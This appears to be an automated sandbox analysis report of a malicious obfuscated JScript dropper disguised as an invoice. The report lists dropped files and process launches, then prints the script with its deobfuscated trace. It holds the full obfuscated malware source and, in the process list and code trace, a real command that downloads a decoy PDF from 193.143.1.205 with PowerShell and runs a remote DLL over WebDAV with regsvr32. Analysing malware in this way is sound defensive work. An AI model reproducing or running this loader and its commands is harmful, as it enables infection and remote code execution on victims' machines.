Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17254), with CRLF line terminators
Entropy (8bit):	4.913484716504744
TrID:
File name:	2078028442107917841.js
File size:	20'712 bytes
MD5:	5eb17baa90e14fe0b88c301dfa8e422b
SHA1:	f7568ecb342de1f65f9bd9f1eeaf9bda1347df2c
SHA256:	4fce8c932666595d88bb3b85d9cae78b3af1ab7965f17cbb82d14ec1af0e7b76
SHA512:	8177bdf6968fcb7ebc5f2a3dfe79570b6e726bd5b98e0ceaf830a207d87ce9bd01eda1a63c205996f1844085273d28ed6bc5753286f88935c25828c580f47560
SSDEEP:	384:1ud3YdRbYqG82aUnDqDhaIJIUAC6UADZRd2HdRvjlz5yYT4efwdfbZD9zbgzsH:1ud3YdR08X3vUef+fbJ9H6sH
TLSH:	1A9296B18894D60BEAFBEDF75196016310AC42CB85DC05E68A5B33C236C39F965F26F4
File Content Preview:	function aycdqiji(){zzkvbr=[1031,3079,5127,4103,2055,3072];var nrvtldc=this[ypnpeaoa+lzoqjkrc+izubqmwg+oavqufgw+xhhjjvh+bnkvm+cqosafmo+jemzblhqe](this[debjypdq+rjscr+glgpkmu+izubqmwg+lhhwhg+ypnpeaoa+jemzblhqe][huoyzek+izubqmwg+xhhjjvh+lzoqjkrc+jemzblhqe+x

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	09:05:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js"
Imagebase:	0x7ff6e65a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:05:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll
Imagebase:	0x7ff74bd60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:05:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:05:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:05:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:05:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74bd60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:05:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e75e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:05:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:05:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:05:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,13174889617063134609,234930856317104007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function aycdqiji() {	aycdqiji() ➔ undefined
1	zzkvbr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nrvtldc = this[ypnpeaoa + lzoqjkrc + izubqmwg + oavqufgw + xhhjjvh + bnkvm + cqosafmo + jemzblhqe] ( this[debjypdq + rjscr + glgpkmu + izubqmwg + lhhwhg + ypnpeaoa + jemzblhqe][huoyzek + izubqmwg + xhhjjvh + lzoqjkrc + jemzblhqe + xhhjjvh + bloxg + vwrysggj + owxnfizjr + xhhjjvh + glgpkmu + jemzblhqe] ( debjypdq + rjscr + glgpkmu + izubqmwg + lhhwhg + ypnpeaoa + jemzblhqe + voasz + rjscr + ikzzyynl + xhhjjvh + gpbfciokt + gpbfciokt ) [gvfkadg + xhhjjvh + onvcgj + gvfkadg + xhhjjvh + lzoqjkrc + necytpe] ( npglwtucl + tqqefifz + nuxbev + bnnwf + vyjwks + huoyzek + uuyprfyyi + gvfkadg + gvfkadg + nuxbev + iavkez + twplryja + vyjwks + uuyprfyyi + rjscr + nuxbev + gvfkadg + slmlu + huoyzek + nxxmoy + cqosafmo + jemzblhqe + izubqmwg + nxxmoy + gpbfciokt + keenh + ofwhhcuiw + lzoqjkrc + cqosafmo + xhhjjvh + gpbfciokt + slmlu + bnkvm + cqosafmo + jemzblhqe + xhhjjvh + izubqmwg + cqosafmo + lzoqjkrc + jemzblhqe + lhhwhg + nxxmoy + cqosafmo + lzoqjkrc + gpbfciokt + slmlu + ecfao + nxxmoy + glgpkmu + lzoqjkrc + gpbfciokt + xhhjjvh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jatpuaelw = 0 ; jatpuaelw < zzkvbr[gpbfciokt + xhhjjvh + cqosafmo + onvcgj + jemzblhqe + ikzzyynl] ; ++ jatpuaelw )
4	{
5	if ( nrvtldc == zzkvbr[jatpuaelw] )
6	{
7	nrvtldc = true;
8	break ;
9	}
10	}
11	if ( nrvtldc !== true )
12	this[debjypdq + rjscr + glgpkmu + izubqmwg + lhhwhg + ypnpeaoa + jemzblhqe][uegxrbmg + kkkhrydb + lhhwhg + jemzblhqe] ( );
13	this[debjypdq + rjscr + glgpkmu + izubqmwg + lhhwhg + ypnpeaoa + jemzblhqe][huoyzek + izubqmwg + xhhjjvh + lzoqjkrc + jemzblhqe + xhhjjvh + bloxg + vwrysggj + owxnfizjr + xhhjjvh + glgpkmu + jemzblhqe] ( debjypdq + rjscr + glgpkmu + izubqmwg + lhhwhg + ypnpeaoa + jemzblhqe + voasz + rjscr + ikzzyynl + xhhjjvh + gpbfciokt + gpbfciokt ) [izubqmwg + kkkhrydb + cqosafmo] ( glgpkmu + fwgqgcynd + necytpe + keenh + pvizqc + glgpkmu + keenh + ypnpeaoa + nxxmoy + rhgddr + xhhjjvh + izubqmwg + oavqufgw + ikzzyynl + xhhjjvh + gpbfciokt + gpbfciokt + voasz + xhhjjvh + fxyuujnht + xhhjjvh + keenh + yusqy + huoyzek + nxxmoy + fwgqgcynd + fwgqgcynd + lzoqjkrc + cqosafmo + necytpe + keenh + smpwqxfjy + bnkvm + cqosafmo + hcynbwp + nxxmoy + aittp + xhhjjvh + yusqy + debjypdq + xhhjjvh + vwrysggj + gvfkadg + xhhjjvh + dvodrt + kkkhrydb + xhhjjvh + oavqufgw + jemzblhqe + keenh + yusqy + bloxg + kkkhrydb + jemzblhqe + elcxh + lhhwhg + gpbfciokt + xhhjjvh + keenh + cbyif + jemzblhqe + xhhjjvh + fwgqgcynd + ypnpeaoa + cbyif + slmlu + lhhwhg + cqosafmo + hcynbwp + nxxmoy + lhhwhg + glgpkmu + xhhjjvh + voasz + ypnpeaoa + necytpe + hmuve + keenh + ikzzyynl + jemzblhqe + jemzblhqe + ypnpeaoa + qjcpri + pvizqc + pvizqc + xlkhg + wqofdvtpl + czlea + voasz + xlkhg + xaahhp + czlea + voasz + xlkhg + voasz + ygxnfk + smljsl + fklaxqng + pvizqc + lhhwhg + cqosafmo + hcynbwp + nxxmoy + lhhwhg + glgpkmu + xhhjjvh + voasz + ypnpeaoa + ikzzyynl + ypnpeaoa + smpwqxfjy + qcigxma + qcigxma + oavqufgw + jemzblhqe + lzoqjkrc + izubqmwg + jemzblhqe + keenh + cbyif + jemzblhqe + xhhjjvh + fwgqgcynd + ypnpeaoa + cbyif + slmlu + lhhwhg + cqosafmo + hcynbwp + nxxmoy + lhhwhg + glgpkmu + xhhjjvh + voasz + ypnpeaoa + necytpe + hmuve + qcigxma + qcigxma + glgpkmu + fwgqgcynd + necytpe + keenh + pvizqc + glgpkmu + keenh + cqosafmo + xhhjjvh + jemzblhqe + keenh + kkkhrydb + oavqufgw + xhhjjvh + keenh + slmlu + slmlu + xlkhg + wqofdvtpl + czlea + voasz + xlkhg + xaahhp + czlea + voasz + xlkhg + voasz + ygxnfk + smljsl + fklaxqng + pkufnpxza + iillei + iillei + iillei + iillei + slmlu + necytpe + lzoqjkrc + hcynbwp + rhgddr + rhgddr + rhgddr + izubqmwg + nxxmoy + nxxmoy + jemzblhqe + slmlu + qcigxma + qcigxma + glgpkmu + fwgqgcynd + necytpe + keenh + pvizqc + glgpkmu + keenh + izubqmwg + xhhjjvh + onvcgj + oavqufgw + hcynbwp + izubqmwg + czlea + ygxnfk + keenh + pvizqc + oavqufgw + keenh + slmlu + slmlu + xlkhg + wqofdvtpl + czlea + voasz + xlkhg + xaahhp + czlea + voasz + xlkhg + voasz + ygxnfk + smljsl + fklaxqng + pkufnpxza + iillei + iillei + iillei + iillei + slmlu + necytpe + lzoqjkrc + hcynbwp + rhgddr + rhgddr + rhgddr + izubqmwg + nxxmoy + nxxmoy + jemzblhqe + slmlu + xlkhg + bfcnadpds + wqofdvtpl + wemjxp + xlkhg + wemjxp + bfcnadpds + xlkhg + fklaxqng + xlkhg + xaahhp + czlea + fklaxqng + smljsl + voasz + necytpe + gpbfciokt + gpbfciokt, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll",0,false) ➔ 0
14	}
15	uuyprfyyi = "O";
16	uuyprfyyi = "Y";
17	uuyprfyyi = "e";
18	uuyprfyyi = "U";
19	twplryja = "O";
20	twplryja = "b";
21	twplryja = "Q";
22	twplryja = "S";
23	twplryja = "g";
24	twplryja = "l";
25	twplryja = "n";
26	twplryja = "q";
27	twplryja = "i";
28	twplryja = "d";
29	twplryja = "X";
30	twplryja = "p";
31	twplryja = "S";
32	twplryja = "I";
33	twplryja = "a";
34	twplryja = "I";
35	twplryja = "l";
36	twplryja = "g";
37	twplryja = "a";
38	twplryja = "S";
39	twplryja = "s";
40	twplryja = "i";
41	twplryja = "p";
42	twplryja = "G";
43	twplryja = "H";
44	twplryja = "u";
45	twplryja = "d";
46	twplryja = "k";
47	twplryja = "G";
48	twplryja = "F";
49	twplryja = "a";
50	twplryja = "S";
51	twplryja = "X";
52	twplryja = "D";
53	twplryja = "T";
54	izubqmwg = "V";
55	izubqmwg = "O";
56	izubqmwg = "r";
57	debjypdq = "U";
58	debjypdq = "V";
59	debjypdq = "x";
60	debjypdq = "N";
61	debjypdq = "Z";
62	debjypdq = "Y";
63	debjypdq = "J";
64	debjypdq = "O";
65	debjypdq = "N";
66	debjypdq = "h";
67	debjypdq = "z";
68	debjypdq = "u";
69	debjypdq = "k";
70	debjypdq = "b";
71	debjypdq = "w";
72	debjypdq = "J";
73	debjypdq = "C";
74	debjypdq = "f";
75	debjypdq = "z";
76	debjypdq = "R";
77	debjypdq = "A";
78	debjypdq = "Y";
79	debjypdq = "o";
80	debjypdq = "Y";
81	debjypdq = "T";
82	debjypdq = "A";
83	debjypdq = "U";
84	debjypdq = "p";
85	debjypdq = "H";
86	debjypdq = "t";
87	debjypdq = "N";
88	debjypdq = "t";
89	debjypdq = "d";
90	debjypdq = "C";
91	debjypdq = "e";
92	debjypdq = "E";
93	debjypdq = "W";
94	wemjxp = "A";
95	wemjxp = "T";
96	wemjxp = "A";
97	wemjxp = "z";
98	wemjxp = "v";
99	wemjxp = "c";
100	wemjxp = "o";
101	wemjxp = "l";
102	wemjxp = "T";
103	wemjxp = "m";
104	wemjxp = "m";
105	wemjxp = "A";
106	wemjxp = "u";
107	wemjxp = "w";
108	wemjxp = "V";
109	wemjxp = "T";
110	wemjxp = "p";
111	wemjxp = "x";
112	wemjxp = "i";
113	wemjxp = "y";
114	wemjxp = "j";
115	wemjxp = "d";
116	wemjxp = "E";
117	wemjxp = "M";
118	wemjxp = "w";
119	wemjxp = "U";
120	wemjxp = "j";
121	wemjxp = "7";
122	fwgqgcynd = "d";
123	fwgqgcynd = "f";
124	fwgqgcynd = "h";
125	fwgqgcynd = "e";
126	fwgqgcynd = "J";
127	fwgqgcynd = "I";
128	fwgqgcynd = "w";
129	fwgqgcynd = "r";
130	fwgqgcynd = "i";
131	fwgqgcynd = "T";
132	fwgqgcynd = "j";
133	fwgqgcynd = "k";
134	fwgqgcynd = "y";
135	fwgqgcynd = "H";
136	fwgqgcynd = "P";
137	fwgqgcynd = "a";
138	fwgqgcynd = "O";
139	fwgqgcynd = "I";
140	fwgqgcynd = "l";
141	fwgqgcynd = "r";
142	fwgqgcynd = "U";
143	fwgqgcynd = "R";
144	fwgqgcynd = "C";
145	fwgqgcynd = "Q";
146	fwgqgcynd = "c";
147	fwgqgcynd = "a";
148	fwgqgcynd = "s";
149	fwgqgcynd = "h";
150	fwgqgcynd = "M";
151	fwgqgcynd = "q";
152	fwgqgcynd = "o";
153	fwgqgcynd = "x";
154	fwgqgcynd = "h";
155	fwgqgcynd = "p";
156	fwgqgcynd = "i";
157	fwgqgcynd = "d";
158	fwgqgcynd = "m";
159	lzoqjkrc = "U";
160	lzoqjkrc = "V";
161	lzoqjkrc = "y";
162	lzoqjkrc = "q";
163	lzoqjkrc = "C";
164	lzoqjkrc = "e";
165	lzoqjkrc = "P";
166	lzoqjkrc = "D";
167	lzoqjkrc = "e";
168	lzoqjkrc = "D";
169	lzoqjkrc = "Y";
170	lzoqjkrc = "a";
171	onvcgj = "d";
172	onvcgj = "q";
173	onvcgj = "p";
174	onvcgj = "Y";
175	onvcgj = "g";
176	iillei = "l";
177	iillei = "p";
178	iillei = "b";
179	iillei = "t";
180	iillei = "8";
181	ikzzyynl = "S";
182	ikzzyynl = "a";
183	ikzzyynl = "Z";
184	ikzzyynl = "O";
185	ikzzyynl = "i";
186	ikzzyynl = "r";
187	ikzzyynl = "E";
188	ikzzyynl = "p";
189	ikzzyynl = "V";
190	ikzzyynl = "f";
191	ikzzyynl = "Q";
192	ikzzyynl = "i";
193	ikzzyynl = "h";
194	oavqufgw = "h";
195	oavqufgw = "b";
196	oavqufgw = "k";
197	oavqufgw = "r";
198	oavqufgw = "u";
199	oavqufgw = "D";
200	oavqufgw = "C";
201	oavqufgw = "L";
202	oavqufgw = "h";
203	oavqufgw = "X";
204	oavqufgw = "I";
205	oavqufgw = "r";
206	oavqufgw = "x";
207	oavqufgw = "L";
208	oavqufgw = "j";
209	oavqufgw = "H";
210	oavqufgw = "g";
211	oavqufgw = "o";
212	oavqufgw = "x";
213	oavqufgw = "B";
214	oavqufgw = "i";
215	oavqufgw = "P";
216	oavqufgw = "n";
217	oavqufgw = "k";
218	oavqufgw = "U";
219	oavqufgw = "t";
220	oavqufgw = "n";
221	oavqufgw = "E";
222	oavqufgw = "V";
223	oavqufgw = "V";
224	oavqufgw = "L";
225	oavqufgw = "Q";
226	oavqufgw = "s";
227	glgpkmu = "O";
228	glgpkmu = "K";
229	glgpkmu = "c";
230	glgpkmu = "c";
231	glgpkmu = "O";
232	glgpkmu = "b";
233	glgpkmu = "T";
234	glgpkmu = "r";
235	glgpkmu = "p";
236	glgpkmu = "g";
237	glgpkmu = "f";
238	glgpkmu = "U";
239	glgpkmu = "t";
240	glgpkmu = "A";
241	glgpkmu = "p";
242	glgpkmu = "X";
243	glgpkmu = "F";
244	glgpkmu = "M";
245	glgpkmu = "K";
246	glgpkmu = "Q";
247	glgpkmu = "Q";
248	glgpkmu = "o";
249	glgpkmu = "h";
250	glgpkmu = "j";
251	glgpkmu = "V";
252	glgpkmu = "v";
253	glgpkmu = "P";
254	glgpkmu = "Y";
255	glgpkmu = "C";
256	glgpkmu = "d";
257	glgpkmu = "k";
258	glgpkmu = "C";
259	glgpkmu = "c";
260	glgpkmu = "T";
261	glgpkmu = "i";
262	glgpkmu = "O";
263	glgpkmu = "M";
264	glgpkmu = "r";
265	glgpkmu = "P";
266	glgpkmu = "C";
267	glgpkmu = "G";
268	glgpkmu = "n";
269	glgpkmu = "c";
270	gpbfciokt = "x";
271	gpbfciokt = "B";
272	gpbfciokt = "Y";
273	gpbfciokt = "W";
274	gpbfciokt = "I";
275	gpbfciokt = "D";
276	gpbfciokt = "a";
277	gpbfciokt = "e";
278	gpbfciokt = "I";
279	gpbfciokt = "w";
280	gpbfciokt = "J";
281	gpbfciokt = "P";
282	gpbfciokt = "v";
283	gpbfciokt = "W";
284	gpbfciokt = "u";
285	gpbfciokt = "m";
286	gpbfciokt = "K";
287	gpbfciokt = "R";
288	gpbfciokt = "T";
289	gpbfciokt = "l";
290	gpbfciokt = "D";
291	gpbfciokt = "j";
292	gpbfciokt = "N";
293	gpbfciokt = "C";
294	gpbfciokt = "Z";
295	gpbfciokt = "e";
296	gpbfciokt = "j";
297	gpbfciokt = "c";
298	gpbfciokt = "E";
299	gpbfciokt = "d";
300	gpbfciokt = "b";
301	gpbfciokt = "G";
302	gpbfciokt = "x";
303	gpbfciokt = "u";
304	gpbfciokt = "j";
305	gpbfciokt = "H";
306	gpbfciokt = "c";
307	gpbfciokt = "g";
308	gpbfciokt = "n";
309	gpbfciokt = "y";
310	gpbfciokt = "b";
311	gpbfciokt = "P";
312	gpbfciokt = "l";
313	tqqefifz = "D";
314	tqqefifz = "y";
315	tqqefifz = "i";
316	tqqefifz = "E";
317	tqqefifz = "P";
318	tqqefifz = "G";
319	tqqefifz = "p";
320	tqqefifz = "H";
321	tqqefifz = "A";
322	tqqefifz = "o";
323	tqqefifz = "v";
324	tqqefifz = "A";
325	tqqefifz = "v";
326	tqqefifz = "k";
